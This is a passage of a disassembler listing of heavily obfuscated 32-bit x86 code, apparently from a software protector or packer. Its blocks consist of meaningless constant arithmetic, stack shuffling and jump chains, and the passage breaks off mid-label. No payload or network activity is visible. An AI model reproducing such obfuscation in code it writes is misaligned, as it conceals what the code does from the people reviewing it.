; ---------------------------------------------------------------------------


loc_5C6C21:				; CODE XREF: sub_5A55E5+20280j
		xchg	edx, ebp
		dec	edx
		xchg	edx, ebp
		not	ebp
		jmp	loc_5C4FEA
; ---------------------------------------------------------------------------


loc_5C6C2D:				; CODE XREF: sub_5A55E5+22586j
		add	esi, edi
		mov	edi, [esp+0A0h+var_A0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0A4h+var_A4]
		jmp	loc_5CC0B7
; ---------------------------------------------------------------------------


loc_5C6C45:				; CODE XREF: sub_5A55E5+1BC59j
		pop	edi
		xor	eax, [esp+0A2h+var_A4+2]
		xor	[esp+0A2h+var_A4+2], eax
		xor	eax, [esp+0A2h+var_A4+2]
		jmp	loc_5CF26C
; ---------------------------------------------------------------------------


loc_5C6C54:				; CODE XREF: sub_5A55E5+218BCj
		push	982h
		mov	[esp+0A6h+var_A8+2], eax
		mov	eax, 31A81FD0h
		mov	ebp, 0F0A42C31h
		add	ebp, eax
		pop	eax
		jmp	loc_5C86B3
; ---------------------------------------------------------------------------


loc_5C6C6E:				; CODE XREF: sub_5A55E5+26501j
		add	edi, ebp
		sub	edi, 30637B2Dh
		pop	ebp
		and	edx, edi
		jmp	loc_5CC522
; ---------------------------------------------------------------------------


loc_5C6C7E:				; CODE XREF: sub_5A55E5+24BA5j
		mov	esp, [esp+9Eh+var_A0+2]
		mov	[esp+9Eh+var_A0+2], ebx
		push	edi
		mov	edi, 0B6B429Eh
		add	edi, 67E52E4Eh
		push	eax
		mov	eax, 36C97C84h
		neg	eax
		and	eax, 73DC77D6h
		dec	eax
		sub	eax, 0B464743Dh
		add	edi, eax
		pop	eax
		jmp	loc_5D2F22
; ---------------------------------------------------------------------------


loc_5C6CAB:				; CODE XREF: sub_5A55E5+1D822j
		pop	ecx
		jmp	loc_5C1A38
; ---------------------------------------------------------------------------


loc_5C6CB1:				; CODE XREF: sub_5A55E5+1DB67j
		xchg	ebp, ebx
		not	ebp
		jmp	loc_5C882E
; ---------------------------------------------------------------------------


loc_5C6CBA:				; CODE XREF: sub_5A55E5+2189Aj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+98h+var_98]
		pop	esp
		sub	esp, 4
		mov	[esp+98h+var_98], ebp
		mov	ebp, 7FEA0791h
		jmp	loc_5D24F8
; ---------------------------------------------------------------------------


loc_5C6CD7:				; CODE XREF: sub_5A55E5+1BEBFj
		sub	al, 0ECh
		add	al, 8Fh
		add	bh, al
		pop	eax
		shl	bh, 5
		sub	esp, 4
		mov	[esp+92h+var_94+2], ecx
		mov	cl, 0C5h
		shl	cl, 4
		jmp	loc_5D174B
; ---------------------------------------------------------------------------


loc_5C6CF4:				; CODE XREF: sub_5A55E5+28B25j
		sub	edi, 5B8B4B0Dh
		jmp	loc_5C4EA9
; ---------------------------------------------------------------------------


loc_5C6CFF:				; CODE XREF: sub_5A55E5+2981Aj
		pop	eax
		mov	ebx, [esp+8Eh+var_90+2]
		add	esp, 4
		add	ebx, 4
		push	6F75h
		mov	[esp+8Eh+var_90+2], eax
		mov	eax, 12A67A5Dh
		add	eax, 0ED5985A7h
		add	ebx, eax
		pop	eax
		jmp	loc_5BFFD5
; ---------------------------------------------------------------------------


loc_5C6D26:				; CODE XREF: sub_5A55E5+24285j
		mov	edx, 2AA001CBh
		add	esi, edx
		pop	edx
		sub	esi, 3E66E339h
		or	eax, esi
		pop	esi
		jmp	loc_5D26B6
; ---------------------------------------------------------------------------


loc_5C6D3C:				; CODE XREF: sub_5A55E5+1EFECj
		mov	esp, [esp+5Ch+var_5C]
		mov	[esp+5Ch+var_5C], ecx
		mov	ecx, esp
		jmp	loc_5D0215
; ---------------------------------------------------------------------------


loc_5C6D49:				; CODE XREF: sub_5A55E5+2237Aj
		mov	esi, [esp+5Ch+var_5C]
		add	esp, 4
		sub	ecx, 2
		xchg	ecx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		mov	word ptr [esp+58h+var_58], cx
		jmp	loc_5C6660
; ---------------------------------------------------------------------------


loc_5C6D67:				; CODE XREF: sub_5A55E5+296C9j
		xor	bh, ah
		jmp	loc_5CC6AA
; ---------------------------------------------------------------------------


loc_5C6D6E:				; CODE XREF: sub_5A55E5+1E64Ej
		add	edi, 4
		jmp	loc_5CBE45
; ---------------------------------------------------------------------------


loc_5C6D76:				; CODE XREF: sub_5A55E5+2BECFj
		shr	esi, 3
		add	esi, 7B06EFA2h
		add	edi, 40935BC0h
		add	edi, esi
		sub	edi, 40935BC0h
		pop	esi
		pop	ebp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	487Ch
		mov	[esp+80h+var_80], ecx
		push	edx
		push	270326ABh
		mov	edx, [esp+88h+var_88]
		add	esp, 4
		add	edx, 0D8FCDD51h
		push	edx
		mov	ecx, [esp+88h+var_88]
		add	esp, 4
		mov	edx, [esp+84h+var_84]
		push	ecx
		push	esp
		mov	ecx, [esp+8Ch+var_8C]
		add	esp, 4
		push	edi
		jmp	loc_5CA7E9
; ---------------------------------------------------------------------------


loc_5C6DCA:				; CODE XREF: sub_5A55E5+25A01j
		sub	ebx, 59A72F66h
		sub	ebx, 3FF23A4Ah
		mov	edi, [esp+8Ch+var_8C]
		add	esp, 4
		sub	[edi+24h], ebx
		push	[esp+88h+var_88]
		jmp	loc_5C4E11
; ---------------------------------------------------------------------------


loc_5C6DE7:				; CODE XREF: sub_5A55E5+1F344j
		push	ecx
		mov	ecx, 2AD558C3h
		or	ebp, ecx
		pop	ecx
		push	ebx
		mov	ebx, 5A477A75h
		add	ebx, 749A1CE6h
		dec	ebx
		or	ebx, 0D72373Ah
		jmp	loc_5C0B37
; ---------------------------------------------------------------------------


loc_5C6E08:				; CODE XREF: sub_5A55E5+1D01Dj
		mov	ecx, [esp+0ACh+var_AC]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edx
		mov	edx, 2
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp+0A4h+var_A4]
		mov	esp, [esp+0A4h+var_A4]
		mov	ax, word ptr [esp+0A4h+var_A4]
		push	esi
		push	esp
		jmp	loc_5C50E0
; ---------------------------------------------------------------------------


loc_5C6E37:				; CODE XREF: sub_5A55E5+1C746j
		add	ecx, 4
		xchg	ecx, [esp+0B6h+var_B8+2]
		mov	esp, [esp+0B6h+var_B8+2]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C6E45:				; CODE XREF: sub_5A55E5+2AE2Ej
		push	66D8h
		mov	[esp+0BAh+var_BC+2], esi
		mov	esi, ecx
		mov	[edi+24h], esi
		mov	esi, [esp+0BAh+var_BC+2]
		add	esp, 4
		pop	ecx
		jmp	loc_5CBB33
; ---------------------------------------------------------------------------


loc_5C6E5E:				; CODE XREF: sub_5A55E5+1C103j
		mov	[esp+9Ah+var_9C+2], edi
		jmp	loc_5CB1D2
; ---------------------------------------------------------------------------


loc_5C6E66:				; CODE XREF: sub_5A55E5+2A70Cj
		push	edx
		push	108B70EBh
		pop	edx
		xor	edx, 511A1A78h
		jmp	loc_5C9656
; ---------------------------------------------------------------------------


loc_5C6E78:				; CODE XREF: sub_5A55E5+28B94j
		xchg	eax, [esp+9Eh+var_A0+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_5C6CBA
; ---------------------------------------------------------------------------


loc_5C6E84:				; CODE XREF: sub_5A55E5+2D4BAj
		add	ecx, 4
		xchg	ecx, [esp+9Eh+var_A0+2]
		pop	esp
		pop	[esp+9Ah+var_9C+2]
		mov	esp, [esp+96h+var_98+2]
		mov	cx, word ptr [esp+96h+var_98+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_5C6C54
; ---------------------------------------------------------------------------


loc_5C6EA6:				; CODE XREF: sub_5A55E5+1D977j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5D3AE9
; ---------------------------------------------------------------------------


loc_5C6EB3:				; CODE XREF: sub_5A55E5+2AA4Aj
		add	esi, ebx
		pop	ebx
		push	34Fh
		mov	[esp+0A2h+var_A4+2], esi
		jmp	loc_5C69A3
; ---------------------------------------------------------------------------


loc_5C6EC3:				; CODE XREF: sub_5A55E5+1FA9Aj
		pop	ebp
		sub	esp, 4
		mov	[esp+50h+var_50], ebx
		push	6399h
		push	esp
		pop	[esp+58h+var_58]
		jmp	loc_5CC65F
; ---------------------------------------------------------------------------


loc_5C6EDB:				; CODE XREF: sub_5A55E5+2D550j
		push	[esp+54h+var_54]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		jmp	loc_5C8A13
; ---------------------------------------------------------------------------
		push	[esp+50h+var_50]
		push	[esp+54h+var_54]
		pop	eax
		add	esp, 4
		jmp	loc_5CB51B
; ---------------------------------------------------------------------------


loc_5C6EFF:				; CODE XREF: sub_5A55E5+23637j
		shr	edx, 6
		shr	edx, 2
		xor	edx, 495C3F75h
		neg	edx
		jmp	loc_5CA5B2
; ---------------------------------------------------------------------------


loc_5C6F12:				; CODE XREF: sub_5A55E5+28739j
		xor	eax, 21594DD8h
		push	esi
		push	ecx
		mov	ecx, 216A3671h
		mov	esi, 0C4A235Ah
		add	esi, ecx
		pop	ecx
		xor	eax, esi
		pop	esi
		sub	eax, 0DEBCC453h
		sub	ebp, eax
		jmp	loc_5C2539
; ---------------------------------------------------------------------------


loc_5C6F35:				; CODE XREF: sub_5A55E5+1AB4Bj
		sub	edi, 4
		jmp	loc_5CA280
; ---------------------------------------------------------------------------


loc_5C6F40:				; CODE XREF: sub_5A55E5+2C1E2j
		and	edx, ebp
		pop	ebp
		not	edx
		add	edx, 206D36CAh
		push	edx
		jmp	loc_5D00E6
; ---------------------------------------------------------------------------


loc_5C6F51:				; CODE XREF: sub_5A55E5+27154j
		add	ebx, ebp
		mov	ebp, [esp+76h+var_78+2]
		jmp	loc_5C15F6
; ---------------------------------------------------------------------------


loc_5C6F5B:				; CODE XREF: sub_5A55E5+2BF88j
		push	4022h
		mov	[esp+7Ah+var_7C+2], ecx
		mov	cl, al
		jmp	loc_5D0AB7
; ---------------------------------------------------------------------------


loc_5C6F6A:				; CODE XREF: sub_5A55E5+1A908j
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_5C737B
; ---------------------------------------------------------------------------


loc_5C6F75:				; CODE XREF: sub_5A55E5+27413j
		not	ebp
		shl	ebp, 2
		jmp	loc_5CC0C5
; ---------------------------------------------------------------------------


loc_5C6F7F:				; CODE XREF: sub_5A55E5+1CD9Cj
		pop	edi
		push	ebx
		mov	ebx, 4
		sub	edi, 429F2009h
		add	edi, ebx
		add	edi, 429F2009h
		jmp	loc_5D0948
; ---------------------------------------------------------------------------


loc_5C6F99:				; CODE XREF: sub_5A55E5+1E789j
		shr	ebp, 6
		jmp	loc_5D0061
; ---------------------------------------------------------------------------


loc_5C6FA1:				; CODE XREF: sub_5A55E5+2A49Ej
		mov	edi, 65737601h
		jmp	loc_5CA21C
; ---------------------------------------------------------------------------


loc_5C6FAB:				; CODE XREF: sub_5A55E5+29479j
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_5D33A7
; ---------------------------------------------------------------------------


loc_5C6FB7:				; CODE XREF: sub_5A55E5+1D276j
		pop	[esp+66h+var_68+2]
		add	[esp+62h+var_64+2], 4
		mov	ebx, [esp+62h+var_64+2]
		push	7264h
		mov	[esp+66h+var_68+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5CF8A6
; ---------------------------------------------------------------------------


loc_5C6FDC:				; CODE XREF: sub_5A55E5+222D0j
		push	ecx
		mov	ecx, 9A92756h
		jmp	loc_5C7505
; ---------------------------------------------------------------------------


loc_5C6FE7:				; CODE XREF: sub_5A55E5+1A776j
		add	edx, esi
		pop	esi
		xchg	edx, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		jmp	loc_5C0978
; ---------------------------------------------------------------------------


loc_5C6FF5:				; CODE XREF: sub_5A55E5+29BD5j
		push	edx
		mov	edx, 7160087Bh
		mov	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 5B6F4473h
		dec	ebp
		shl	ebp, 4
		inc	ebp
		dec	ebp
		push	736Fh
		mov	[esp+0A2h+var_A4+2], eax
		mov	eax, 42071A78h
		xor	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, 0D49725D4h
		sub	ebp, ecx
		jmp	loc_5CFFAE
; ---------------------------------------------------------------------------


loc_5C7027:				; CODE XREF: sub_5A55E5+2A3F4j
		xchg	edx, [esp+0A2h+var_A4+2]
		pop	esp
		mov	eax, [esp+9Eh+var_A0+2]
		push	eax
		jmp	loc_5C536C
; ---------------------------------------------------------------------------


loc_5C7034:				; CODE XREF: sub_5A55E5+28FE6j
		not	esi
		push	edi
		jmp	loc_5C4DD5
; ---------------------------------------------------------------------------


loc_5C703C:				; CODE XREF: sub_5A55E5+26F8Aj
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	4DB0h
		mov	[esp+0A6h+var_A8+2], eax
		xchg	ebx, [esp+0A6h+var_A8+2]
		push	ebx
		jmp	loc_5C7DB1
; ---------------------------------------------------------------------------


loc_5C7058:				; CODE XREF: sub_5A55E5+24AA9j
		pop	edx
		push	ebp
		push	esi
		mov	esi, esp
		jmp	loc_5C8C86
; ---------------------------------------------------------------------------


loc_5C7062:				; CODE XREF: sub_5A55E5+29C9Fj
		add	esp, 4
		pop	edi
		jmp	loc_5C8A3D
; ---------------------------------------------------------------------------


loc_5C706B:				; CODE XREF: sub_5A55E5+2203Bj
		mov	eax, 4
		jmp	loc_5C7310
; ---------------------------------------------------------------------------


loc_5C7075:				; CODE XREF: sub_5A55E5+1CD04j
		sub	ebp, 5EF82D54h
		shl	ebp, 3
		add	ebp, 3472C512h
		sub	ecx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4EB14502h
		sub	ecx, 8E9327Bh
		jmp	loc_5CB0D6
; ---------------------------------------------------------------------------


loc_5C7098:				; CODE XREF: sub_5A55E5+2B4CDj
		mov	ebx, 1
		mov	edi, ebx
		pop	ebx
		push	7A89h
		mov	[esp+70h+var_70], edi
		push	edi
		mov	edi, 396D3C0Eh
		sub	[esp+74h+var_70], 323324B8h
		jmp	loc_5CD8A0
; ---------------------------------------------------------------------------


loc_5C70BB:				; CODE XREF: sub_5A55E5+2DA48j
		push	4AAAh
		mov	[esp+78h+var_78], ebp
		push	esp
		pop	ebp
		push	5DEBh
		mov	[esp+7Ch+var_7C], eax
		jmp	loc_5C0D42
; ---------------------------------------------------------------------------


loc_5C70D2:				; CODE XREF: sub_5A55E5+1B32Bj
		pop	esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_5C821E
; ---------------------------------------------------------------------------


loc_5C70E1:				; CODE XREF: sub_5A55E5+28A78j
		pop	ebx
		push	ecx
		jmp	loc_5C98D4
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_5D3111
; ---------------------------------------------------------------------------


loc_5C70F3:				; CODE XREF: sub_5A55E5+27A26j
		add	eax, ebp
		add	eax, 4B259A0h
		push	esi
		mov	esi, 37FE4ED0h
		push	esi
		mov	esi, 4F996202h
		add	eax, esi
		pop	esi
		sub	eax, esi
		push	ebx
		mov	ebx, 4F996202h
		sub	eax, ebx
		jmp	loc_5CDA98
; ---------------------------------------------------------------------------


loc_5C7118:				; CODE XREF: sub_5A55E5+2A67Dj
		sub	ebx, esi
		pop	esi
		sub	ebx, eax
		push	ecx
		mov	ecx, 5F2C729Eh
		jmp	loc_5C7A9E
; ---------------------------------------------------------------------------
		dd 8704EB83h, 33E9241Ch
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5C7133:				; CODE XREF: sub_5A55E5+1A32Bj
		and	ecx, esi
		push	[esp+94h+var_94]
		jmp	loc_5C99C3
; ---------------------------------------------------------------------------


loc_5C713D:				; CODE XREF: sub_5A55E5+2DBBDj
		sub	edx, 76B07E57h
		mov	esi, [esp+98h+var_98]
		add	esp, 4
		xchg	edx, [esp+94h+var_94]
		pop	esp
		jmp	loc_5CCBCB
; ---------------------------------------------------------------------------


loc_5C7155:				; CODE XREF: sub_5A55E5+1ACFFj
		pop	esp
		add	ecx, 4
		push	edi
		mov	edi, 2
		add	ecx, 546D2FE0h
		add	ecx, 5BBE20B3h
		add	ecx, edi
		jmp	loc_5CDAA1
; ---------------------------------------------------------------------------


loc_5C7175:				; CODE XREF: sub_5A55E5+26EEFj
		and	edi, ecx
		mov	ecx, [esp+0A0h+var_A0]
		add	esp, 4
		sub	edi, 0ED96CCB2h
		jmp	loc_5C9708
; ---------------------------------------------------------------------------


loc_5C7188:				; CODE XREF: sub_5A55E5+1ED07j
		mov	esp, [esp+9Ch+var_9C]
		cmp	cx, ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7194:				; CODE XREF: sub_5A55E5+26CD2j
		mov	ecx, 69A04B68h
		and	ecx, 37BC7889h
		xor	ecx, 66421D1Ah
		or	ecx, 46DE48A1h
		dec	ecx
		neg	ecx
		add	ecx, 5B7995EDh
		sub	edi, ecx
		pop	ecx
		sub	edx, edi
		pop	edi
		mov	ecx, edx
		mov	edx, [esp+98h+var_98]
		push	esi
		mov	esi, esp
		jmp	loc_5C5A04
; ---------------------------------------------------------------------------


loc_5C71C7:				; CODE XREF: sub_5A55E5+1AD23j
		mov	esi, [esp+0A8h+var_A8]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0ACh+var_AC]
		pop	esp
		push	67E2h
		jmp	loc_5D227F
; ---------------------------------------------------------------------------


loc_5C71E5:				; CODE XREF: sub_5A55E5+238EBj
		mov	[esp+0ACh+var_AC], edi
		push	esp
		mov	edi, [esp+0B0h+var_B0]
		add	esp, 4
		jmp	loc_5C8299
; ---------------------------------------------------------------------------


loc_5C71F4:				; CODE XREF: sub_5A55E5+1C2EBj
		mov	eax, [esp+8Ch+var_8C]
		add	esp, 4
		xor	edi, 0A208E2D5h
		sub	edi, 14A6941h
		push	eax
		mov	eax, 46FF6570h
		or	edi, eax
		pop	eax
		xor	edi, 41149A80h
		mov	eax, edi
		pop	edi
		sub	eax, 1FEB7B78h
		or	[edi+1Ch], eax
		jmp	loc_5D2574
; ---------------------------------------------------------------------------


loc_5C7225:				; CODE XREF: sub_5A55E5+2CD77j
		add	bl, 0DCh
		jmp	loc_5C78AB
; ---------------------------------------------------------------------------
		mov	eax, [esp+84h+var_84]
		push	ebx
		jmp	loc_5C7E47
; ---------------------------------------------------------------------------


loc_5C7236:				; CODE XREF: sub_5A55E5+1EB9Bj
		mov	[esp+88h+var_88], ecx
		mov	ecx, 5CC47647h
		jmp	loc_5C52E4
; ---------------------------------------------------------------------------


loc_5C7243:				; CODE XREF: sub_5A55E5+1E9E0j
		add	esp, 4
		jmp	loc_5D265A
; ---------------------------------------------------------------------------


loc_5C724B:				; CODE XREF: sub_5A55E5+1B79Fj
		sub	ebx, esi
		jmp	loc_5C02F0
; ---------------------------------------------------------------------------


loc_5C7252:				; CODE XREF: sub_5A55E5+2D07Bj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7257:				; CODE XREF: sub_5A55E5+215ACj
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp+84h+var_84]
		jmp	loc_5C822E
; ---------------------------------------------------------------------------


loc_5C7263:				; CODE XREF: sub_5A55E5+26DB9j
		pop	ebp
		sub	esp, 4
		mov	[esp+84h+var_84], ebx
		mov	ebx, 47B42254h
		or	ebx, 59504966h
		add	ebx, 0A9CCF5ABh
		push	esi
		jmp	loc_5C2CE2
; ---------------------------------------------------------------------------


loc_5C7281:				; CODE XREF: sub_5A55E5+2A9ACj
		add	edi, 4
		jmp	loc_5C3D09
; ---------------------------------------------------------------------------


loc_5C728C:				; CODE XREF: sub_5A55E5+1D004j
		sub	edx, 296907EAh
		jmp	loc_5D0904
; ---------------------------------------------------------------------------


loc_5C7297:				; CODE XREF: sub_5A55E5+2437Fj
		add	eax, edi
		pop	edi
		jmp	loc_5D09F2
; ---------------------------------------------------------------------------


loc_5C729F:				; CODE XREF: sub_5A55E5+23453j
		dec	esi
		shr	esi, 4
		sub	esi, 1EA174F8h
		jmp	loc_5CA5F1
; ---------------------------------------------------------------------------


loc_5C72AE:				; CODE XREF: sub_5A55E5+2CBBFj
		shl	eax, 4
		shr	eax, 3
		xor	eax, 7DFB38C0h
		xor	eax, 6CCF4BD8h
		add	ebx, eax
		pop	eax
		jmp	loc_5C1D30
; ---------------------------------------------------------------------------


loc_5C72C6:				; CODE XREF: sub_5A55E5+1EA28j
		dec	esi
		jmp	loc_5CB6B8
; ---------------------------------------------------------------------------


loc_5C72CC:				; CODE XREF: sub_5A55E5+24804j
		xor	eax, 0BD77E41Dh
		push	edi
		mov	edi, 0FFFFFFFFh
		add	eax, 374920D7h
		add	eax, edi
		push	edx
		mov	edx, 43BC6DA9h
		not	edx
		add	edx, 7B058E81h
		sub	eax, edx
		mov	edx, [esp+8Ch+var_8C]
		add	esp, 4
		pop	edi
		jmp	loc_5CAE4B
; ---------------------------------------------------------------------------


loc_5C72FD:				; CODE XREF: sub_5A55E5+2112Ej
		add	esp, 4
		xor	ecx, 557B6901h
		push	eax
		push	ebx
		jmp	loc_5C030D
; ---------------------------------------------------------------------------


loc_5C7310:				; CODE XREF: sub_5A55E5+21A8Bj
		add	esi, 60A44EB4h
		sub	esi, eax
		sub	esi, 60A44EB4h
		pop	eax
		jmp	loc_5CAFC3
; ---------------------------------------------------------------------------


loc_5C7324:				; CODE XREF: sub_5A55E5+28728j
		push	edi
		push	55E86092h
		jmp	loc_5C9724
; ---------------------------------------------------------------------------


loc_5C732F:				; CODE XREF: sub_5A55E5+1D060j
		push	ecx
		jmp	loc_5CFBE2
; ---------------------------------------------------------------------------


loc_5C7335:				; CODE XREF: sub_5A55E5+2C4E3j
		push	[esp+78h+var_78]
		mov	edx, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_5C11B9
; ---------------------------------------------------------------------------


loc_5C7343:				; CODE XREF: sub_5A55E5+1DD54j
		xchg	edx, [esp+0A8h+var_A8]
		jmp	loc_5CE740
; ---------------------------------------------------------------------------


loc_5C734B:				; CODE XREF: sub_5A55E5+237E3j
		add	ecx, 1F7D1951h
		sub	ecx, eax
		jmp	loc_5C217B
; ---------------------------------------------------------------------------


loc_5C7358:				; CODE XREF: sub_5A55E5+2D436j
		mov	esi, 7B7D6C01h
		push	0FA63D3C9h
		pop	edx
		add	edx, esi
		pop	esi
		jmp	loc_5D337E
; ---------------------------------------------------------------------------


loc_5C736B:				; CODE XREF: sub_5A55E5+2D2A0j
		pop	ebx
		sub	esp, 4
		jmp	loc_5C0185
; ---------------------------------------------------------------------------


loc_5C7374:				; CODE XREF: sub_5A55E5+248CEj
		not	ebp
		jmp	loc_5D3F72
; ---------------------------------------------------------------------------


loc_5C737B:				; CODE XREF: sub_5A55E5+2198Bj
		push	60F9h
		mov	[esp+84h+var_84], eax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7388:				; CODE XREF: sub_5A55E5+29E72j
		pop	esp
		xor	ebx, [esp+80h+var_80]
		xor	[esp+80h+var_80], ebx
		jmp	loc_5C1AD3
; ---------------------------------------------------------------------------


loc_5C7394:				; CODE XREF: sub_5A55E5+2E0ADj
		add	ecx, edx
		mov	edx, [esp+80h+var_80]
		add	esp, 4
		add	ecx, 72590651h
		sub	ecx, ebx
		sub	ecx, 72590651h
		sub	ecx, 13F96659h
		pop	ebx
		shl	ecx, 5
		push	edx
		jmp	loc_5C9096
; ---------------------------------------------------------------------------


loc_5C73BA:				; CODE XREF: sub_5A55E5+2755Cj
		push	edx
		mov	edx, 0E5EC8B39h
		xor	eax, edx
		pop	edx
		jmp	loc_5CBF85
; ---------------------------------------------------------------------------


loc_5C73C8:				; CODE XREF: sub_5A55E5+2B756j
		push	70E4h
		jmp	loc_5BFC47
; ---------------------------------------------------------------------------


loc_5C73D2:				; CODE XREF: sub_5A55E5+26B14j
		pop	ecx
		push	ebx
		push	3520h
		mov	[esp+84h+var_84], ecx
		mov	ecx, 24141960h
		sub	[esp+84h+var_80], ecx
		pop	ecx
		mov	edx, [esp+80h+var_80]
		jmp	loc_5C02E9
; ---------------------------------------------------------------------------


loc_5C73EE:				; CODE XREF: sub_5A55E5+2AC2Bj
		push	esi
		mov	esi, 1EF7A61h
		push	edx
		mov	edx, 4D5D7197h
		jmp	loc_5CFC4C
; ---------------------------------------------------------------------------


loc_5C73FF:				; CODE XREF: sub_5A55E5+2DF31j
		mov	dx, word ptr [esp+88h+var_88]
		push	2AB3h
		mov	[esp+8Ch+var_8C], edi
		sub	esp, 4
		jmp	loc_5C6B77
; ---------------------------------------------------------------------------


loc_5C7413:				; CODE XREF: sub_5A55E5+2333Aj
		mov	edx, 4
		add	ecx, 1230CB2h
		add	ecx, 56A926BCh
		add	ecx, edx
		sub	ecx, 56A926BCh
		jmp	loc_5C1310
; ---------------------------------------------------------------------------


loc_5C7431:				; CODE XREF: sub_5A55E5+2945Cj
		add	ebp, eax
		jmp	loc_5CD838
; ---------------------------------------------------------------------------


loc_5C7438:				; CODE XREF: sub_5A55E5+29F56j
		add	bl, al
		mov	eax, [esp+90h+var_90]
		add	esp, 4
		push	3105h
		mov	[esp+90h+var_90], eax
		jmp	loc_5C4873
; ---------------------------------------------------------------------------


loc_5C7450:				; CODE XREF: sub_5A55E5+1C068j
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		jmp	loc_5C0152
; ---------------------------------------------------------------------------


loc_5C7466:				; CODE XREF: sub_5A55E5+273AEj
		add	edx, 0FFFFFFFFh
		neg	edx
		neg	edx
		shl	edx, 2
		push	esi
		jmp	loc_5CE618
; ---------------------------------------------------------------------------


loc_5C7476:				; CODE XREF: sub_5A55E5+22238j
		mov	word ptr [esp+0A2h+var_A4+2], ax
		mov	ah, 80h
		and	bh, ah
		pop	ax
		xor	bh, 97h
		add	cl, 55h
		sub	cl, 0E5h
		sub	cl, bh
		add	cl, 0E5h
		sub	cl, 55h
		pop	ebx
		jmp	loc_5D0324
; ---------------------------------------------------------------------------


loc_5C7497:				; CODE XREF: sub_5A55E5+23AA1j
		push	[esp+9Ch+var_9C]
		mov	eax, [esp+0A0h+var_A0]
		add	esp, 4
		jmp	loc_5C93FE
; ---------------------------------------------------------------------------


loc_5C74A8:				; CODE XREF: sub_5A55E5+245D7j
		add	ax, di
		pop	edi
		add	ax, bx
		jmp	loc_5C1CEA
; ---------------------------------------------------------------------------


loc_5C74B4:				; CODE XREF: sub_5A55E5+1BA1Bj
		pop	ebx
		pop	ebp
		jmp	loc_5D1699
; ---------------------------------------------------------------------------


loc_5C74BB:				; CODE XREF: sub_5A55E5+1DA6Dj
		pop	esp
		jmp	loc_5C0FE7
; ---------------------------------------------------------------------------


loc_5C74C1:				; CODE XREF: sub_5A55E5+23E50j
		mov	edx, [esp+9Eh+var_A0+2]
		jmp	loc_5C06BE
; ---------------------------------------------------------------------------


loc_5C74C9:				; CODE XREF: sub_5A55E5+29C02j
		add	esp, 4
		jmp	loc_5CA8BB
; ---------------------------------------------------------------------------


loc_5C74D4:				; CODE XREF: sub_5A55E5+1BB99j
		push	3BFBh
		jmp	loc_5C13D4
; ---------------------------------------------------------------------------


loc_5C74DE:				; CODE XREF: sub_5A55E5+2B7FEj
		mov	[esp+80h+var_80], edx
		mov	edx, esp
		push	5241h
		jmp	loc_5C008E
; ---------------------------------------------------------------------------


loc_5C74ED:				; CODE XREF: sub_5A55E5+2A8F0j
		pop	ebx
		or	ebp, esi
		jmp	loc_5CE727
; ---------------------------------------------------------------------------


loc_5C74F5:				; CODE XREF: sub_5A55E5+2B020j
		pop	edi
		jmp	loc_5D32AD
; ---------------------------------------------------------------------------


loc_5C74FB:				; CODE XREF: sub_5A55E5+2AA86j
		sub	eax, 0A771DBEFh
		jmp	loc_5CA19C
; ---------------------------------------------------------------------------


loc_5C7505:				; CODE XREF: sub_5A55E5+219FDj
		mov	edi, 2C75EBECh
		sub	edi, 18DB6EF0h
		jmp	loc_5C6195
; ---------------------------------------------------------------------------


loc_5C7515:				; CODE XREF: sub_5A55E5+1EDF1j
		sub	esp, 4
		mov	[esp+74h+var_74], esi
		mov	esi, 32C1168Ch
		jmp	loc_5C7910
; ---------------------------------------------------------------------------


loc_5C7528:				; CODE XREF: sub_5A55E5+1E25Dj
		add	esi, eax
		add	esi, 14CC286Eh
		jmp	loc_5C684A
; ---------------------------------------------------------------------------


loc_5C7535:				; CODE XREF: sub_5A55E5+1F289j
		add	ecx, 428535B1h
		jmp	loc_5CD0DC
; ---------------------------------------------------------------------------


loc_5C7540:				; CODE XREF: sub_5A55E5+20B15j
		pop	esp
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], eax
		mov	edx, [esp+9Eh+var_A0+2]
		add	esp, 4
		jmp	loc_5D3BC1
; ---------------------------------------------------------------------------


loc_5C755B:				; CODE XREF: sub_5A55E5+2A769j
		add	ecx, eax
		mov	eax, [esp+9Ah+var_9C+2]
		add	esp, 4
		sub	esi, 365B1836h
		add	esi, ecx
		add	esi, 365B1836h
		pop	ecx
		jmp	loc_5D375D
; ---------------------------------------------------------------------------


loc_5C757A:				; CODE XREF: sub_5A55E5+28C32j
		mov	[esp+92h+var_94+2], edi
		mov	edi, 31AC5FC1h
		sub	edi, 0FF4326DCh
		jmp	loc_5C270E
; ---------------------------------------------------------------------------


loc_5C758D:				; CODE XREF: sub_5A55E5+1A991j
